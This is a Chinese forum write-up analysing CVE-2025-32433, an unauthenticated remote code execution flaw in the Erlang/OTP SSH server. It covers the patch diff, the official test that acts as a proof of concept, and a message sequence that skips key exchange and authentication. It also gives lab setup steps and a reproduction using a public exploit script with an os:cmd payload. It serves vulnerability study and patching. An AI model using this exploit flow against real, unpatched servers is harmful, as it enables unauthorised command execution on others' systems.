问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
CVE-2025-32433:Erlang/OTP 严重 SSH 漏洞允许未认证的远程代码执行
漏洞分析
对最近爆出的CVE-2025-32433进行分析
一、漏洞简介 ====== 在 Erlang/OTP SSH 服务器中发现一个严重漏洞,该漏洞可能允许攻击者执行未经身份验证的远程代码执行(RCE)。攻击者通过利用 SSH 协议消息处理中的缺陷,能够在没有有效凭据的情况下,未经授权地访问受影响系统并执行任意命令。 二、影响版本 ====== <= OTP-27.3.2 <= OTP-26.2.5.10 <= OTP-25.3.2.19 三、漏洞原理分析 ======== 根据补丁信息找到漏洞成因 ------------ 首先就是通过修补后的版本进行找不同,确定漏洞点 ```php git clone https://github.com/erlang/otp.git git checkout OTP-27.3.1 mkdir -p ../ssh_5_2_9 cp -a lib/ssh/. ../ssh_5_2_9/ 有漏洞 # Checkout the commit that introduces ssh-5.2.10 git checkout 71219a5123309c8cf66f929a19a100a242e15681 mkdir -p ../ssh_5_2_10 cp -a lib/ssh/. ../ssh_5_2_10/ 无漏洞 ``` 根据blog里的diff.py找到了其中的异同 在ssh\_connection.erl中 旧的如下: ```php handle_msg(#ssh_msg_disconnect{code = Code, description = Description}, Connection, _, _SSH) -> {disconnect, {Code, Description}, handle_stop(Connection)}. ``` 改成了 ```php handle_msg(#ssh_msg_disconnect{code = Code, description = Description}, Connection, _, _SSH) -> {disconnect, {Code, Description}, handle_stop(Connection)}; handle_msg(Msg, Connection, server, Ssh = #ssh{authenticated = false}) -> MsgFun = fun(M) -> MaxLogItemLen = ?GET_OPT(max_log_item_len, Ssh#ssh.opts), io_lib:format("Connection terminated. Unexpected message for unauthenticated user." " Message: ~w", [M], [{chars_limit, MaxLogItemLen}]) end, ?LOG_DEBUG(MsgFun, [Msg]), {disconnect, {?SSH_DISCONNECT_PROTOCOL_ERROR, "Connection refused"}, handle_stop(Connection)}; ``` 在这段代码中,如果连接处于未认证状态 (`Ssh = #ssh{authenticated = false}`),系统会构造一个日志函数 `MsgFun`,并记录接收到的异常消息及字符限制。然后,系统会断开连接并返回 `disconnect` 命令,带上错误代码 `?SSH_DISCONNECT_PROTOCOL_ERROR` 和描述 `"Connection refused"`,表示协议错误导致的连接拒绝。 总的来说就是 增加了对未认证用户的特殊处理逻辑,当未认证用户发送不符合预期的消息时,系统会记录日志并断开连接。 其余的部分在源码上的几乎没有改动,这说明应该是跳过了ssh认证的中的验证阶段,也就是可以直接未授权进行命令执行。这样看起来poc应该很好写,我也尝试了像blog中使用GPT去进行这一个流程,确实没有生成可以使用的代码,最后又看起那些异同点。 在测试里增加了一段很有意思的内容,test/ssh\_protocol\_SUITE.erl中 ```php early_rce(Config) -> {ok,InitialState} = ssh_trpt_test_lib:exec([{set_options, [print_ops, print_seqnums, print_messages]}]), TypeOpen = "session", ChannelId = 0, WinSz = 425984, PktSz = 65536, DataOpen = <<>>, SshMsgChannelOpen = ssh_connection:channel_open_msg(TypeOpen, ChannelId, WinSz, PktSz, DataOpen), Id = 0, TypeReq = "exec", WantReply = true, ………… {send, hello}, {send, ssh_msg_kexinit}, {match, #ssh_msg_kexinit{_='_'}, receive_msg}, {send, SshMsgChannelOpen}, {send, SshMsgChannelRequest}, {match, disconnect(), receive_msg} ], InitialState), ok. ``` 对,官方在修复时直接给出了一段poc程序进行验证,这就够了 现在我们可以来和正常的ssh验证进行比较了 比较 -- 正常的ssh流程 ```php 1. TCP连接 2. 交换banner (SSH-2.0-xxx) 3. 发送 SSH_MSG_KEXINIT (协商加密算法) 4. 交换密钥 (KEX) 5. 认证阶段 (SSH_MSG_USERAUTH_REQUEST / USERAUTH_SUCCESS) 6. 打开Channel (SSH_MSG_CHANNEL_OPEN) 7. 发送指令 (SSH_MSG_CHANNEL_REQUEST,比如exec / shell) 8. 收发数据 ``` 而漏洞形成的流程是 ```php 1. TCP连接 2. 交换banner 3. 发送 SSH_MSG_KEXINIT 4. ❌(跳过)密钥交换阶段 5. ❌(跳过)认证阶段 6. 直接发送 SSH_MSG_CHANNEL_OPEN 7. 直接发送 SSH_MSG_CHANNEL_REQUEST (带payload,比如file:write_file()) 8. 服务器执行命令!(Pre-auth代码执行) ``` 以表格形式对比 | | | | |---|---|---| | 流程阶段 | 正常SSH | 漏洞利用 | | Banner交换 | ✅ | ✅ | | KEXINIT交换 | ✅ | ✅ | | 密钥协商 (KEX) | ✅(必须完成) | ❌(直接跳过) | | 认证 (UserAuth) | ✅(必须认证) | ❌(直接跳过) | | 开Channel | ✅(认证后开) | ✅(未认证强行开) | | 执行命令 | ✅(认证后执行) | ✅(未认证直接执行) | 四、环境搭建 ====== 我是以虚拟机装载的ubuntu18.04 ### 1. 安装依赖包 首先,安装构建和运行 Erlang 所需要的依赖: ```php sudo apt-get update sudo apt-get install -y \ git build-essential libssl-dev autoconf libncurses5-dev \ libgl1-mesa-dev libglu1-mesa-dev libpng-dev \ libssh-dev libxml2-utils xsltproc fop wget curl \ openssh-client ``` ### 2. 克隆并构建 Erlang/OTP 接下来,克隆 Erlang 源代码并进行编译: ```php git clone https://github.com/erlang/otp.git cd otp git checkout OTP-26.2.5.10 //选择有漏洞的版本 ./configure --prefix=/usr make -j$(nproc) //这一步时间可能会很久 sudo make install ``` ### 3. 编译 Erlang 代码 将 `ssh_server.erl` 文件复制到 `/root` 或者任何你希望存放它的位置,然后使用 `erlc` 编译: `ssh_server.erl`内容 ```php -module(ssh_server). -export([start/0]). start() -> io:format("Starting vulnerable SSH server~n"), application:ensure_all_started(ssh), case ssh:daemon(2222, [ {system_dir, "/root/ssh_keys"}, {auth_methods, "password"}, {pwdfun, fun(User, Pass) -> io:format("Login attempt ~p/~p~n", [User, Pass]), false end} ]) of {ok, Pid} -> io:format("SSH Daemon started successfully. Pid: ~p~n", [Pid]); {error, Reason} -> io:format("Failed to start SSH daemon: ~p~n", [Reason]) end. ``` 编译,我这里都放在了root下: ```php cp /path/to/ssh_server.erl /root/ cd /root erlc ssh_server.erl ``` ### 4. 生成 SSH 密钥 生成一个适合 Erlang 使用的 RSA 密钥对: ```php mkdir -p /root/ssh_keys ssh-keygen -m PEM -t rsa -b 2048 -f /root/ssh_keys/ssh_host_rsa_key -N "" ssh-keygen -y -f /root/ssh_keys/ssh_host_rsa_key > /root/ssh_keys/ssh_host_rsa_key.pub ``` ### 5. 启动 Erlang 服务器 通过 `erl` 启动 Erlang shell,并运行 SSH 服务器: ```php erl -noshell -pa /root -s ssh_server start ``` ### 6. 测试连接 之后可以使用ssh进行登录,使用私钥文件 五、漏洞复现 ====== 欧克,知道了具体的流程之后,就很容易,使用了<https://github.com/ProDefense/CVE-2025-32433/blob/main/CVE-2025-32433.py>,将其中的命令部分改成 ```php command = 'file:write_file("/1.txt", os:cmd("ifconfig")).' ```  最后在根目录下发现文件被创建了  六、修复建议 ====== 1.关闭ssh服务器 2.更新到新版本 七、总结 ==== 感觉这个漏洞确实过于存在缺陷了,一般都想不到这个问题。最有意思的poc可以说是完全依赖于大模型进行编写的,确实是好用的;但因为官方的补丁里是给出了验证的流程,所以对于单纯依靠漏洞描述进行POC编写,感觉目前的大模型能力存疑,不过确实已经发挥了很大的作用。 参考文献: - <https://www.openwall.com/lists/oss-security/2025/04/16/2> - <https://github.com/erlang/otp/security/advisories/GHSA-37cp-fgq5-7wc2> - <https://platformsecurity.com/blog/CVE-2025-32433-poc>
发表于 2025-05-08 15:00:00
阅读 ( 103 )
分类:
Web应用
0 推荐
收藏
0 条评论
请先
登录
后评论
cipher
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!